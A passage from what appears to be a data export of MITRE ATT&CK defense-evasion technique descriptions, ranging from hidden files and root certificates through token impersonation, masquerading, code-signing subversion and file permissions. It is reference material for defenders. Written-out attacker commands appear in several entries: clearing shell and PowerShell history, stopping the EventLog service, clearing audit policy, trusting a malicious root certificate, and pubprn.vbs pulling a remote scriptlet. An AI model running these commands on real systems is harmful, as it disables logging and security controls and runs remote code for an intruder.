system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls \u2013a for Linux and macOS).\n\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable.\n\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.\nT1564 | Hide Artifacts | Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)\nT1553.004 | Install Root Certificate | Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)\nT1562.004 | Disable or Modify System Firewall | Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. \nT1562.003 | Impair Command History Logging | Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. \n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected.\n\nAdversaries may clear the history environment variable (unset HISTFILE) or set the command history size to zero (export HISTFILESIZE=0) to prevent logging of commands. Additionally, HISTCONTROL can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands. \n\nOn Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging (e.g. no logging).\nT1562.002 | Disable Windows Event Logging | Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\\Local Policies\\Audit Policy for basic audit policy settings or Security Settings\\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the EventLog service may be disabled using the following PowerShell line: Stop-Service -Name EventLog.(Citation: Disable_Win_Event_Logging) Additionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:\u201dAccount Logon\u201d /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)\n\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.\nT1562.001 | Disable or Modify Tools | Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)\n\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)\n\nIn cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.\n\nFurthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\n\nAdditionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)\nT1562 | Impair Defenses | Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.\nT1134.005 | SID-History Injection | Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).\nT1134.004 | Parent PID Spoofing | Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)\nT1134.003 | Make and Impersonate Token | Adversaries may make and impersonate tokens to escalate privileges and bypass access controls. If an adversary has a username and password but the user is not logged onto the system, the adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread.\nT1134.002 | Create Process with Token | Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)\n\nCreating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003)).\nT1134.001 | Token Impersonation/Theft | Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread.\n\nAn adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.\nT1556.002 | Password Filter DLL | Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)\nT1556.001 | Domain Controller Authentication | Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)\nT1556 | Modify Authentication Process | Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.\nT1036.006 | Space after Filename | Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\n\nFor example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to evil.txt (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).\n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\nT1036.005 | Match Legitimate Name or Location | Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.\n\nAdversaries may also use the same icon of the file they are trying to mimic.\nT1036.004 | Masquerade Task or Service | Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.\n\nTasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)\nT1036.003 | Rename System Utilities | Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)\nT1036.002 | Right-to-Left Override | Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \\u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\\u202Egnp.js will be displayed as photo_high_resj.png.(Citation: Infosecinstitute RTLO Technique)\n\nAdversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.\nT1036.001 | Invalid Code Signature | Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)\n\nUnlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.\nT1553.003 | SIP and Trust Provider Hijacking | Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)\nT1553.002 | Code Signing | Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.\n\nCode signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system. \nT1553.001 | Gatekeeper Bypass | Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple\u2019s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: TheEclecticLightCompany apple notarization )\n\nBased on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions:\n\n1. Checks extended attribute \u2013 Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.(Citation: OceanLotus for OS X)(Citation: 20 macOS Common Tools and Techniques)\n\n2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.\n\n3. Code Signing \u2013 Gatekeeper checks for a valid code signature from an Apple Developer ID.\n\n4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an \u201cunauthorized app\u201d and the security policy will be modified.\n\nAdversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211)), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.(Citation: theevilbit gatekeeper bypass 2021)(Citation: Application Bundle Manipulation Brandon Dalton)\n\nApplications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the quarantine flag. Additionally, it is possible to avoid setting the quarantine flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).\nT1553 | Subvert Trust Controls | Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.\n\nAdversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) \nT1027.003 | Steganography | Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.\n\n[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) \n\nBy the end of 2017, a threat group used\u202fInvoke-PSImage\u202fto hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) \nT1027.002 | Software Packing | Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) \n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation: Awesome Executable Packing) \nT1027.001 | Binary Padding | Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) \nT1222.002 | Linux and Mac File and Directory Permissions Modification | Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform\u2019s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) \nT1222.001 | Windows File and Directory Permissions Modification | Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).\nT1216.001 | PubPrn | Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).\nT1070.006 | Timestomp | Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.\n\nTimestomping may be used along with file 